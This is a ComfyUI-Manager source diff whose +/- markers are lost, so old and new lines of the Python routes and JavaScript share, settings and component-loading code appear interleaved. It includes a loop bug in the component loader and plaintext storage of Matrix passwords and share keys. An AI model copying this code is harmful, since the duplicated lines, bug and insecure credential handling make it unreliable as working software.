@PromptServer.instance.routes.post("/v2/manager/set_esheep_workflow_and_images")
@PromptServer.instance.routes.post("/manager/set_esheep_workflow_and_images")
async def set_esheep_workflow_and_images(request):
json_data = await request.json()
with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), "w", encoding='utf-8') as file:
with open(os.path.join(core.manager_files_path, "esheep_share_message.json"), "w", encoding='utf-8') as file:
json.dump(json_data, file, indent=4)
return web.Response(status=200)
@PromptServer.instance.routes.get("/v2/manager/get_esheep_workflow_and_images")
@PromptServer.instance.routes.get("/manager/get_esheep_workflow_and_images")
async def get_esheep_workflow_and_images(request):
with open(os.path.join(context.manager_files_path, "esheep_share_message.json"), 'r', encoding='utf-8') as file:
with open(os.path.join(core.manager_files_path, "esheep_share_message.json"), 'r', encoding='utf-8') as file:
data = json.load(file)
return web.Response(status=200, text=json.dumps(data))
@PromptServer.instance.routes.get("/v2/manager/get_matrix_dep_status")
async def get_matrix_dep_status(request):
if matrix_nio_is_available:
return web.Response(status=200, text='available')
else:
return web.Response(status=200, text='unavailable')
def set_matrix_auth(json_data):
homeserver = json_data['homeserver']
username = json_data['username']
password = json_data['password']
with open(os.path.join(context.manager_files_path, "matrix_auth"), "w") as f:
with open(os.path.join(core.manager_files_path, "matrix_auth"), "w") as f:
f.write("\n".join([homeserver, username, password]))
def set_comfyworkflows_auth(comfyworkflows_sharekey):
with open(os.path.join(context.manager_files_path, "comfyworkflows_sharekey"), "w") as f:
with open(os.path.join(core.manager_files_path, "comfyworkflows_sharekey"), "w") as f:
f.write(comfyworkflows_sharekey)
@@ -231,7 +211,7 @@ def has_provided_comfyworkflows_auth(comfyworkflows_sharekey):
return comfyworkflows_sharekey.strip()
@PromptServer.instance.routes.post("/v2/manager/share")
@PromptServer.instance.routes.post("/manager/share")
async def share_art(request):
# get json data
json_data = await request.json()
@@ -253,7 +233,7 @@ async def share_art(request):
try:
output_to_share = potential_outputs[int(selected_output_index)]
except Exception:
except:
# for now, pick the first output
output_to_share = potential_outputs[0]
@@ -349,12 +329,14 @@ async def share_art(request):
workflowId = upload_workflow_json["workflowId"]
# check if the user has provided Matrix credentials
if matrix_nio_is_available and "matrix" in share_destinations:
if "matrix" in share_destinations:
comfyui_share_room_id = '!LGYSoacpJPhIfBqVfb:matrix.org'
filename = os.path.basename(asset_filepath)
content_type = assetFileType
try:
from nio import AsyncClient, LoginResponse, UploadResponse
homeserver = 'matrix.org'
if matrix_auth:
homeserver = matrix_auth.get('homeserver', 'matrix.org')
@@ -1,6 +1,6 @@
import { api } from "../../scripts/api.js";
import { app } from "../../scripts/app.js";
import { sleep, customConfirm, customAlert } from "./common.js";
import { sleep, customConfirm, customAlert, handle403Response, show_message } from "./common.js";
async function tryInstallCustomNode(event) {
let msg = '-= [ComfyUI Manager] extension installation request =-\n\n';
@@ -25,7 +25,7 @@ async function tryInstallCustomNode(event) {
const res = await customConfirm(msg);
if(res) {
if(event.detail.target.installed == 'Disabled') {
const response = await api.fetchApi(`/v2/customnode/toggle_active`, {
const response = await api.fetchApi(`/customnode/toggle_active`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(event.detail.target)
@@ -35,14 +35,14 @@ async function tryInstallCustomNode(event) {
await sleep(300);
app.ui.dialog.show(`Installing... '${event.detail.target.title}'`);
const response = await api.fetchApi(`/v2/customnode/install`, {
const response = await api.fetchApi(`/customnode/install`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(event.detail.target)
});
if(response.status == 403) {
show_message('This action is not allowed with this security level configuration.');
await handle403Response(response);
return false;
}
else if(response.status == 400) {
@@ -52,9 +52,9 @@ async function tryInstallCustomNode(event) {
}
}
let response = await api.fetchApi("/v2/manager/reboot");
let response = await api.fetchApi("/manager/reboot", { method: 'POST' });
if(response.status == 403) {
show_message('This action is not allowed with this security level configuration.');
await handle403Response(response);
return false;
}
@@ -14,8 +14,9 @@ import { OpenArtShareDialog } from "./comfyui-share-openart.js";
import {
free_models, install_pip, install_via_git_url, manager_instance,
rebootAPI, setManagerInstance, show_message, customAlert, customPrompt,
infoToast, showTerminal, setNeedRestart, generateUUID
infoToast, showTerminal, setNeedRestart, handle403Response
} from "./common.js";
import { ComponentBuilderDialog, getPureName, load_components, set_component_policy } from "./components-manager.js";
import { CustomNodesManager } from "./custom-nodes-manager.js";
import { ModelManager } from "./model-manager.js";
import { SnapshotManager } from "./snapshot.js";
@@ -194,7 +195,8 @@ docStyle.innerHTML = `
}
`;
function isBeforeFrontendVersion(compareVersion) {
function is_legacy_front() {
let compareVersion = '1.2.49';
try {
const frontendVersion = window['__COMFYUI_FRONTEND_VERSION__'];
if (typeof frontendVersion !== 'string') {
@@ -236,7 +238,7 @@ var restart_stop_button = null;
var update_policy_combo = null;
let share_option = 'all';
var batch_id = null;
var is_updating = false;
// copied style from https://github.com/pythongosssss/ComfyUI-Custom-Scripts
@@ -407,7 +409,7 @@ const style = `
`;
async function init_share_option() {
api.fetchApi('/v2/manager/share_option')
api.fetchApi('/manager/share_option')
.then(response => response.text())
.then(data => {
share_option = data || 'all';
@@ -415,7 +417,7 @@ async function init_share_option() {
}
async function init_notice(notice) {
api.fetchApi('/v2/manager/notice')
api.fetchApi('/manager/notice')
.then(response => response.text())
.then(data => {
notice.innerHTML = data;
@@ -466,19 +468,14 @@ async function updateComfyUI() {
let prev_text = update_comfyui_button.innerText;
update_comfyui_button.innerText = "Updating ComfyUI...";
// set_inprogress_mode();
set_inprogress_mode();
const response = await api.fetchApi('/manager/queue/update_comfyui', { method: 'POST' });
showTerminal();
batch_id = generateUUID();
let batch = {};
batch['batch_id'] = batch_id;
batch['update_comfyui'] = true;
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
method: 'POST',
body: JSON.stringify(batch)
});
is_updating = true;
await api.fetchApi('/manager/queue/start', { method: 'POST' });
}
function showVersionSelectorDialog(versions, current, onSelect) {
@@ -609,7 +606,7 @@ async function switchComfyUI() {
switch_comfyui_button.disabled = true;
switch_comfyui_button.style.backgroundColor = "gray";
let res = await api.fetchApi(`/v2/comfyui_manager/comfyui_versions`, { cache: "no-store" });
let res = await api.fetchApi(`/comfyui_manager/comfyui_versions`, { cache: "no-store" });
switch_comfyui_button.disabled = false;
switch_comfyui_button.style.backgroundColor = "";
@@ -628,14 +625,14 @@ async function switchComfyUI() {
showVersionSelectorDialog(versions, obj.current, async (selected_version) => {
if(selected_version == 'nightly') {
update_policy_combo.value = 'nightly-comfyui';
api.fetchApi('/v2/manager/policy/update?value=nightly-comfyui');
api.fetchApi('/manager/policy/update', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: 'nightly-comfyui' }) });
}
else {
update_policy_combo.value = 'stable-comfyui';
api.fetchApi('/v2/manager/policy/update?value=stable-comfyui');
api.fetchApi('/manager/policy/update', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: 'stable-comfyui' }) });
}
let response = await api.fetchApi(`/v2/comfyui_manager/comfyui_switch_version?ver=${selected_version}`, { cache: "no-store" });
let response = await api.fetchApi('/comfyui_manager/comfyui_switch_version', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ ver: selected_version }), cache: "no-store" });
if (response.status == 200) {
infoToast(`ComfyUI version is switched to ${selected_version}`);
}
@@ -653,17 +650,18 @@ async function onQueueStatus(event) {
const isElectron = 'electronAPI' in window;
if(event.detail.status == 'in_progress') {
// set_inprogress_mode();
set_inprogress_mode();
update_all_button.innerText = `in progress.. (${event.detail.done_count}/${event.detail.total_count})`;
}
else if(event.detail.status == 'all-done') {
else if(event.detail.status == 'done') {
reset_action_buttons();
}
else if(event.detail.status == 'batch-done') {
if(batch_id != event.detail.batch_id) {
if(!is_updating) {
return;
}
is_updating = false;
let success_list = [];
let failed_list = [];
let comfyui_state = null;
@@ -749,9 +747,9 @@ async function onQueueStatus(event) {
const rebootButton = document.getElementById('cm-reboot-button5');
rebootButton?.addEventListener("click",
function() {
if(rebootAPI()) {
manager_dialog.close();
async function() {
if(await rebootAPI()) {
manager_instance.close();
}
});
}
@@ -763,28 +761,46 @@ api.addEventListener("cm-queue-status", onQueueStatus);
async function updateAll(update_comfyui) {
update_all_button.innerText = "Updating...";
// set_inprogress_mode();
set_inprogress_mode();
var mode = manager_instance.datasrc_combo.value;
showTerminal();
batch_id = generateUUID();
let batch = {};
if(update_comfyui) {
update_all_button.innerText = "Updating ComfyUI...";
batch['update_comfyui'] = true;
await api.fetchApi('/manager/queue/update_comfyui', { method: 'POST' });
}
batch['update_all'] = mode;
const response = await api.fetchApi('/manager/queue/update_all', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ mode: mode }) });
const res = await api.fetchApi(`/v2/manager/queue/batch`, {
method: 'POST',
body: JSON.stringify(batch)
});
if (response.status == 403) {
await handle403Response(response);
reset_action_buttons();
}
else if (response.status == 401) {
customAlert('Another task is already in progress. Please stop the ongoing task first.');
reset_action_buttons();
}
else if(response.status == 200) {
is_updating = true;
await api.fetchApi('/manager/queue/start', { method: 'POST' });
}
}
function newDOMTokenList(initialTokens) {
const tmp = document.createElement(`div`);
const classList = tmp.classList;
if (initialTokens) {
initialTokens.forEach(token => {
classList.add(token);
});
}
return classList;
}
/**
* Check whether the node is a potential output node (img, gif or video output)
*/
@@ -797,7 +813,7 @@ function restartOrStop() {
rebootAPI();
}
else {
api.fetchApi('/v2/manager/queue/reset');
api.fetchApi('/manager/queue/reset', { method: 'POST' });
infoToast('Cancel', 'Remaining tasks will stop after completing the current task.');
}
}
@@ -946,21 +962,119 @@ class ManagerMenuDialog extends ComfyDialog {
this.datasrc_combo.appendChild($el('option', { value: 'local', text: 'Local' }, []));
this.datasrc_combo.appendChild($el('option', { value: 'remote', text: 'Channel (remote)' }, []));
api.fetchApi('/v2/manager/db_mode')
api.fetchApi('/manager/db_mode')
.then(response => response.text())
.then(data => { this.datasrc_combo.value = data; });
this.datasrc_combo.addEventListener('change', function (event) {
api.fetchApi(`/v2/manager/db_mode?value=${event.target.value}`);
api.fetchApi('/manager/db_mode', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: event.target.value }) });
});
const dbRetrievalSetttingItem = createSettingsCombo("DB", this.datasrc_combo);
// preview method
let preview_combo = document.createElement("select");
preview_combo.setAttribute("title", "Configure how latent variables will be decoded during preview in the sampling process.");
preview_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
// Loading state to prevent flash of enabled state
preview_combo.appendChild($el('option', { value: '', text: 'Loading...', disabled: true }, []));
preview_combo.appendChild($el('option', { value: 'auto', text: 'Auto' }, []));
preview_combo.appendChild($el('option', { value: 'taesd', text: 'TAESD (slow)' }, []));
preview_combo.appendChild($el('option', { value: 'latent2rgb', text: 'Latent2RGB (fast)' }, []));
preview_combo.appendChild($el('option', { value: 'none', text: 'None (very fast)' }, []));
// Start disabled to prevent flash
preview_combo.disabled = true;
preview_combo.value = '';
// Fetch current state
api.fetchApi('/manager/preview_method')
.then(response => response.text())
.then(data => {
// Remove loading option
preview_combo.querySelector('option[value=""]')?.remove();
if (data === "DISABLED") {
// ComfyUI per-queue preview feature is active
preview_combo.disabled = true;
preview_combo.value = 'auto';
// Accessibility attributes
preview_combo.setAttribute("aria-disabled", "true");
preview_combo.setAttribute("aria-label",
"Preview method setting (disabled - managed by ComfyUI). " +
"Use Settings > Execution > Live preview method instead."
);
// Tooltip for mouse users
preview_combo.setAttribute("title",
"This feature is now provided natively by ComfyUI. " +
"Please use 'Settings > Execution > Live preview method' instead."
);
// Visual feedback
preview_combo.style.opacity = '0.6';
preview_combo.style.cursor = 'not-allowed';
} else {
// Manager feature is active
preview_combo.disabled = false;
preview_combo.value = data;
// Accessibility for enabled state
preview_combo.setAttribute("aria-label",
"Preview method setting. Select how latent variables are decoded during preview."
);
}
})
.catch(error => {
console.error('[ComfyUI-Manager] Failed to fetch preview method status:', error);
// Error recovery: fallback to enabled
preview_combo.querySelector('option[value=""]')?.remove();
preview_combo.disabled = false;
preview_combo.value = 'auto';
});
preview_combo.addEventListener('change', function (event) {
// Ignore if disabled
if (preview_combo.disabled) {
event.preventDefault();
return;
}
// Normal operation
api.fetchApi('/manager/preview_method', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: event.target.value }) })
.then(response => {
if (response.status === 403) {
// Feature transitioned to native
alert(
'This feature is now provided natively by ComfyUI.\n' +
'Please use \'Settings > Execution > Live preview method\' instead.'
);
preview_combo.disabled = true;
preview_combo.style.opacity = '0.6';
preview_combo.style.cursor = 'not-allowed';
// Update aria attributes
preview_combo.setAttribute("aria-disabled", "true");
preview_combo.setAttribute("aria-label",
"Preview method setting (disabled - managed by ComfyUI). " +
"Use Settings > Execution > Live preview method instead."
);
}
})
.catch(error => {
console.error('[ComfyUI-Manager] Preview method update failed:', error);
});
});
const previewSetttingItem = createSettingsCombo("Preview method", preview_combo);
// channel
let channel_combo = document.createElement("select");
channel_combo.setAttribute("title", "Configure the channel for retrieving data from the Custom Node list (including missing nodes) or the Model list.");
channel_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
api.fetchApi('/v2/manager/channel_url_list')
api.fetchApi('/manager/channel_url_list')
.then(response => response.json())
.then(async data => {
try {
@@ -973,7 +1087,7 @@ class ManagerMenuDialog extends ComfyDialog {
}
channel_combo.addEventListener('change', function (event) {
api.fetchApi(`/v2/manager/channel_url_list?value=${event.target.value}`);
api.fetchApi('/manager/channel_url_list', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: event.target.value }) });
});
channel_combo.value = data.selected;
@@ -1003,7 +1117,7 @@ class ManagerMenuDialog extends ComfyDialog {
share_combo.appendChild($el('option', { value: option[0], text: `${option[1]}` }, []));
}
api.fetchApi('/v2/manager/share_option')
api.fetchApi('/manager/share_option')
.then(response => response.text())
.then(data => {
share_combo.value = data || 'all';
@@ -1013,7 +1127,7 @@ class ManagerMenuDialog extends ComfyDialog {
share_combo.addEventListener('change', function (event) {
const value = event.target.value;
share_option = value;
api.fetchApi(`/v2/manager/share_option?value=${value}`);
api.fetchApi(`/manager/share_option?value=${value}`);
const shareButton = document.getElementById("shareButton");
if (value === 'none') {
shareButton.style.display = "none";
@@ -1024,20 +1138,40 @@ class ManagerMenuDialog extends ComfyDialog {
const shareSetttingItem = createSettingsCombo("Share", share_combo);
let component_policy_combo = document.createElement("select");
component_policy_combo.setAttribute("title", "When loading the workflow, configure which version of the component to use.");
component_policy_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
component_policy_combo.appendChild($el('option', { value: 'workflow', text: 'Use workflow version' }, []));
component_policy_combo.appendChild($el('option', { value: 'higher', text: 'Use higher version' }, []));
component_policy_combo.appendChild($el('option', { value: 'mine', text: 'Use my version' }, []));
api.fetchApi('/manager/policy/component')
.then(response => response.text())
.then(data => {
component_policy_combo.value = data;
set_component_policy(data);
});
component_policy_combo.addEventListener('change', function (event) {
api.fetchApi('/manager/policy/component', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: event.target.value }) });
set_component_policy(event.target.value);
});
const componentSetttingItem = createSettingsCombo("Component", component_policy_combo);
update_policy_combo = document.createElement("select");
update_policy_combo.setAttribute("title", "Sets the policy to be applied when performing an update.");
update_policy_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
update_policy_combo.appendChild($el('option', { value: 'stable-comfyui', text: 'ComfyUI Stable Version' }, []));
update_policy_combo.appendChild($el('option', { value: 'nightly-comfyui', text: 'ComfyUI Nightly Version' }, []));
api.fetchApi('/v2/manager/policy/update')
api.fetchApi('/manager/policy/update')
.then(response => response.text())
.then(data => {
update_policy_combo.value = data;
});
update_policy_combo.addEventListener('change', function (event) {
api.fetchApi(`/v2/manager/policy/update?value=${event.target.value}`);
api.fetchApi('/manager/policy/update', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ value: event.target.value }) });
});
const updateSetttingItem = createSettingsCombo("Update", update_policy_combo);
@@ -1048,7 +1182,9 @@ class ManagerMenuDialog extends ComfyDialog {
return [
dbRetrievalSetttingItem,
channelSetttingItem,
previewSetttingItem,
shareSetttingItem,
componentSetttingItem,
updateSetttingItem,
//[TODO] replace mt-2 with wrapper div with flex column gap
$el("filedset.cm-experimental.mt-auto", {}, [
@@ -1331,12 +1467,12 @@ class ManagerMenuDialog extends ComfyDialog {
}
async function getVersion() {
let version = await api.fetchApi(`/v2/manager/version`);
let version = await api.fetchApi(`/manager/version`);
return await version.text();
}
app.registerExtension({
name: "Comfy.Legacy.ManagerMenu",
name: "Comfy.ManagerMenu",
aboutPageBadges: [
{
@@ -1388,6 +1524,39 @@ app.registerExtension({
});
},
async setup() {
let orig_clear = app.graph.clear;
app.graph.clear = function () {
orig_clear.call(app.graph);
load_components();
};
load_components();
// Fetch and show startup alerts (critical errors like outdated ComfyUI)
// Poll until extensionManager.toast is ready (set in Vue onMounted)
const showStartupAlerts = async () => {
let toastWaitCount = 0;
const waitForToast = () => {
if (window['app']?.extensionManager?.toast) {
fetch('/manager/startup_alerts')
.then(response => response.ok ? response.json() : [])
.then(alerts => {
for (const alert of alerts) {
customAlert(alert.message);
}
})
.catch(e => console.warn('[ComfyUI-Manager] Failed to fetch startup alerts:', e));
} else if (toastWaitCount < 300) { // Max 30 seconds (300 * 100ms)
toastWaitCount++;
setTimeout(waitForToast, 100);
} else {
console.warn('[ComfyUI-Manager] Timeout waiting for toast. Startup alerts skipped.');
}
};
waitForToast();
};
showStartupAlerts();
const menu = document.querySelector(".comfy-menu");
const separator = document.createElement("hr");
@@ -1459,6 +1628,8 @@ app.registerExtension({
tooltip: "Share"
}).element
);
app.menu?.settingsGroup.element.before(cmGroup.element);
}
catch(exception) {
console.log('ComfyUI is outdated. New style menu based features are disabled.');
@@ -1516,6 +1687,19 @@ app.registerExtension({
node.prototype.getExtraMenuOptions = function (_, options) {
origGetExtraMenuOptions?.apply?.(this, arguments);
if (node.category.startsWith('group nodes>')) {
options.push({
content: "Save As Component",
callback: (obj) => {
if (!ComponentBuilderDialog.instance) {
ComponentBuilderDialog.instance = new ComponentBuilderDialog();
}
ComponentBuilderDialog.instance.target_node = node;
ComponentBuilderDialog.instance.show();
}
}, null);
}
if (isOutputNode(node)) {
const { potential_outputs } = getPotentialOutputsAndOutputNodes([this]);
const hasOutput = potential_outputs.length > 0;
@@ -172,7 +172,7 @@ export const shareToEsheep= () => {
const nodes = app.graph._nodes
const { potential_outputs, potential_output_nodes } = getPotentialOutputsAndOutputNodes(nodes);
const workflow = prompt['workflow']
api.fetchApi(`/v2/manager/set_esheep_workflow_and_images`, {
api.fetchApi(`/manager/set_esheep_workflow_and_images`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
@@ -552,20 +552,6 @@ export class ShareDialog extends ComfyDialog {
this.matrix_destination_checkbox.style.color = "var(--fg-color)";
this.matrix_destination_checkbox.checked = this.share_option === 'matrix'; //true;
try {
api.fetchApi(`/v2/manager/get_matrix_dep_status`)
.then(response => response.text())
.then(data => {
if(data == 'unavailable') {
matrix_destination_checkbox_text.style.textDecoration = "line-through";
this.matrix_destination_checkbox.disabled = true;
this.matrix_destination_checkbox.title = "It has been disabled because the 'matrix-nio' dependency is not installed. Please install this dependency to use the matrix sharing feature.";
matrix_destination_checkbox_text.title = "It has been disabled because the 'matrix-nio' dependency is not installed. Please install this dependency to use the matrix sharing feature.";
}
})
.catch(error => {});
} catch (error) {}
this.comfyworkflows_destination_checkbox = $el("input", { type: 'checkbox', id: "comfyworkflows_destination" }, [])
const comfyworkflows_destination_checkbox_text = $el("label", {}, [" ComfyWorkflows.com"])
this.comfyworkflows_destination_checkbox.style.color = "var(--fg-color)";
@@ -826,7 +812,7 @@ export class ShareDialog extends ComfyDialog {
// get the user's existing matrix auth and share key
ShareDialog.matrix_auth = { homeserver: "matrix.org", username: "", password: "" };
try {
api.fetchApi(`/v2/manager/get_matrix_auth`)
api.fetchApi(`/manager/get_matrix_auth`)
.then(response => response.json())
.then(data => {
ShareDialog.matrix_auth = data;
@@ -845,7 +831,7 @@ export class ShareDialog extends ComfyDialog {
ShareDialog.cw_sharekey = "";
try {
// console.log("Fetching comfyworkflows share key")
api.fetchApi(`/v2/manager/get_comfyworkflows_auth`)
api.fetchApi(`/manager/get_comfyworkflows_auth`)
.then(response => response.json())
.then(data => {
ShareDialog.cw_sharekey = data.comfyworkflows_sharekey;
@@ -905,7 +891,7 @@ export class ShareDialog extends ComfyDialog {
// Change the text of the share button to "Sharing..." to indicate that the share process has started
this.share_button.textContent = "Sharing...";
const response = await api.fetchApi(`/v2/manager/share`, {
const response = await api.fetchApi(`/manager/share`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
@@ -67,7 +67,7 @@ export class OpenArtShareDialog extends ComfyDialog {
async readKey() {
let key = ""
try {
key = await api.fetchApi(`/v2/manager/get_openart_auth`)
key = await api.fetchApi(`/manager/get_openart_auth`)
.then(response => response.json())
.then(data => {
return data.openart_key;
@@ -82,7 +82,7 @@ export class OpenArtShareDialog extends ComfyDialog {
}
async saveKey(value) {
await api.fetchApi(`/v2/manager/set_openart_auth`, {
await api.fetchApi(`/manager/set_openart_auth`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
@@ -399,7 +399,7 @@ export class OpenArtShareDialog extends ComfyDialog {
form.append("file", uploadFile);
try {
const res = await this.fetchApi(
`/v2/workflows/upload_thumbnail`,
`/workflows/upload_thumbnail`,
{
method: "POST",
body: form,
@@ -459,7 +459,7 @@ export class OpenArtShareDialog extends ComfyDialog {
throw new Error("Title is required");
}
const current_snapshot = await api.fetchApi(`/v2/snapshot/get_current`)
const current_snapshot = await api.fetchApi(`/snapshot/get_current`)
.then(response => response.json())
.catch(error => {
// console.log(error);
@@ -489,7 +489,7 @@ export class OpenArtShareDialog extends ComfyDialog {
try {
const response = await this.fetchApi(
"/v2/workflows/publish",
"/workflows/publish",
{
method: "POST",
headers: {"Content-Type": "application/json"},
@@ -179,7 +179,7 @@ export class YouMLShareDialog extends ComfyDialog {
async loadToken() {
let key = ""
try {
const response = await api.fetchApi(`/v2/manager/youml/settings`)
const response = await api.fetchApi(`/manager/youml/settings`)
const settings = await response.json()
return settings.token
} catch (error) {
@@ -188,7 +188,7 @@ export class YouMLShareDialog extends ComfyDialog {
}
async saveToken(value) {
await api.fetchApi(`/v2/manager/youml/settings`, {
await api.fetchApi(`/manager/youml/settings`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
@@ -380,7 +380,7 @@ export class YouMLShareDialog extends ComfyDialog {
try {
let snapshotData = null;
try {
const snapshot = await api.fetchApi(`/v2/snapshot/get_current`)
const snapshot = await api.fetchApi(`/snapshot/get_current`)
snapshotData = await snapshot.json()
} catch (e) {
console.error("Failed to get snapshot", e)
+37 -25
View File
@@ -100,6 +100,19 @@ export function show_message(msg) {
app.ui.dialog.element.style.zIndex = 1100;
}
export async function handle403Response(res, defaultMessage) {
try {
const data = await res.json();
if(data.error === 'comfyui_outdated') {
show_message('ComfyUI version is outdated.<BR>Please update ComfyUI to use Manager normally.');
} else {
show_message(defaultMessage || 'This action is not allowed with this security level configuration.');
}
} catch {
show_message(defaultMessage || 'This action is not allowed with this security level configuration.');
}
}
export async function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
@@ -163,20 +176,23 @@ export async function customPrompt(title, message) {
}
export function rebootAPI() {
export async function rebootAPI() {
if ('electronAPI' in window) {
window.electronAPI.restartApp();
return true;
}
customConfirm("Are you sure you'd like to reboot the server?").then((isConfirmed) => {
if (isConfirmed) {
try {
api.fetchApi("/v2/manager/reboot");
const isConfirmed = await customConfirm("Are you sure you'd like to reboot the server?");
if (isConfirmed) {
try {
const response = await api.fetchApi("/manager/reboot", { method: 'POST' });
if (response.status == 403) {
await handle403Response(response);
return false;
}
catch(exception) {}
}
});
catch(exception) {}
}
return false;
}
@@ -207,16 +223,19 @@ function isValidURL(url) {
}
export async function install_pip(packages) {
if(packages.includes('&'))
if(packages.includes('&')) {
app.ui.dialog.show(`Invalid PIP package enumeration: '${packages}'`);
return;
}
const res = await api.fetchApi("/v2/customnode/install/pip", {
const res = await api.fetchApi("/customnode/install/pip", {
method: "POST",
body: packages,
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ packages: packages }),
});
if(res.status == 403) {
show_message('This action is not allowed with this security level configuration.');
await handle403Response(res, "To use this feature, set 'allow_pip_install = true' in config.ini ([default] section), then restart ComfyUI (the config is read once at startup). This setting is independent of security_level.");
return;
}
@@ -245,13 +264,14 @@ export async function install_via_git_url(url, manager_dialog) {
show_message(`Wait...<BR><BR>Installing '${url}'`);
const res = await api.fetchApi("/v2/customnode/install/git_url", {
const res = await api.fetchApi("/customnode/install/git_url", {
method: "POST",
body: url,
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url: url }),
});
if(res.status == 403) {
show_message('This action is not allowed with this security level configuration.');
await handle403Response(res, "To use this feature, set 'allow_git_url_install = true' in config.ini ([default] section), then restart ComfyUI (the config is read once at startup). This setting is independent of security_level.");
return;
}
@@ -262,9 +282,9 @@ export async function install_via_git_url(url, manager_dialog) {
const self = this;
rebootButton.addEventListener("click",
function() {
if(rebootAPI()) {
manager_dialog.close();
async function() {
if(await rebootAPI()) {
manager_instance.close();
}
});
}
@@ -630,14 +650,6 @@ export function showTooltip(target, text, className = 'cn-tooltip', styleMap = {
});
}
export function generateUUID() {
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
const r = Math.random() * 16 | 0;
const v = c === 'x' ? r : (r & 0x3 | 0x8);
return v.toString(16);
});
}
function initTooltip () {
const mouseenterHandler = (e) => {
const target = e.target;
+812
View File
@@ -0,0 +1,812 @@
import { app } from "../../scripts/app.js";
import { api } from "../../scripts/api.js"
import { sleep, show_message, customConfirm, customAlert } from "./common.js";
import { GroupNodeConfig, GroupNodeHandler } from "../../extensions/core/groupNode.js";
import { ComfyDialog, $el } from "../../scripts/ui.js";
const SEPARATOR = ">"
let pack_map = {};
let rpack_map = {};
export function getPureName(node) {
// group nodes/
let category = null;
if(node.category) {
category = node.category.substring(12);
}
else {
category = node.constructor.category?.substring(12);
}
if(category) {
let purename = node.comfyClass.substring(category.length+1);
return purename;
}
else if(node.comfyClass.startsWith('workflow/') || node.comfyClass.startsWith(`workflow${SEPARATOR}`)) {
return node.comfyClass.substring(9);
}
else {
return node.comfyClass;
}
}
function isValidVersionString(version) {
const versionPattern = /^(\d+)\.(\d+)(\.(\d+))?$/;
const match = version.match(versionPattern);
return match !== null &&
parseInt(match[1], 10) >= 0 &&
parseInt(match[2], 10) >= 0 &&
(!match[3] || parseInt(match[4], 10) >= 0);
}
function register_pack_map(name, data) {
if(data.packname) {
pack_map[data.packname] = name;
rpack_map[name] = data;
}
else {
rpack_map[name] = data;
}
}
function storeGroupNode(name, data, register=true) {
let extra = app.graph.extra;
if (!extra) app.graph.extra = extra = {};
let groupNodes = extra.groupNodes;
if (!groupNodes) extra.groupNodes = groupNodes = {};
groupNodes[name] = data;
if(register) {
register_pack_map(name, data);
}
}
export async function load_components() {
let data = await api.fetchApi('/manager/component/loads', {method: "POST"});
let components = await data.json();
let start_time = Date.now();
let failed = [];
let failed2 = [];
for(let name in components) {
if(app.graph.extra?.groupNodes?.[name]) {
if(data) {
let data = components[name];
let category = data.packname;
if(data.category) {
category += SEPARATOR + data.category;
}
if(category == '') {
category = 'components';
}
const config = new GroupNodeConfig(name, data);
await config.registerType(category);
register_pack_map(name, data);
continue;
}
}
let nodeData = components[name];
storeGroupNode(name, nodeData);
const config = new GroupNodeConfig(name, nodeData);
while(true) {
try {
let category = nodeData.packname;
if(nodeData.category) {
category += SEPARATOR + nodeData.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
register_pack_map(name, nodeData);
break;
}
catch {
let elapsed_time = Date.now() - start_time;
if (elapsed_time > 5000) {
failed.push(name);
break;
} else {
await sleep(100);
}
}
}
}
// fallback1
for(let i in failed) {
let name = failed[i];
if(app.graph.extra?.groupNodes?.[name]) {
continue;
}
let nodeData = components[name];
storeGroupNode(name, nodeData);
const config = new GroupNodeConfig(name, nodeData);
while(true) {
try {
let category = nodeData.packname;
if(nodeData.workflow.category) {
category += SEPARATOR + nodeData.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
register_pack_map(name, nodeData);
break;
}
catch {
let elapsed_time = Date.now() - start_time;
if (elapsed_time > 10000) {
failed2.push(name);
break;
} else {
await sleep(100);
}
}
}
}
// fallback2
for(let name in failed2) {
let name = failed2[i];
let nodeData = components[name];
storeGroupNode(name, nodeData);
const config = new GroupNodeConfig(name, nodeData);
while(true) {
try {
let category = nodeData.workflow.packname;
if(nodeData.workflow.category) {
category += SEPARATOR + nodeData.category;
}
if(category == '') {
category = 'components';
}
await config.registerType(category);
register_pack_map(name, nodeData);
break;
}
catch {
let elapsed_time = Date.now() - start_time;
if (elapsed_time > 30000) {
failed.push(name);
break;
} else {
await sleep(100);
}
}
}
}
}
async function save_as_component(node, version, author, prefix, nodename, packname, category) {
let component_name = `${prefix}::${nodename}`;
let subgraph = app.graph.extra?.groupNodes?.[component_name];
if(!subgraph) {
subgraph = app.graph.extra?.groupNodes?.[getPureName(node)];
}
subgraph.version = version;
subgraph.author = author;
subgraph.datetime = Date.now();
subgraph.packname = packname;
subgraph.category = category;
let body =
{
name: component_name,
workflow: subgraph
};
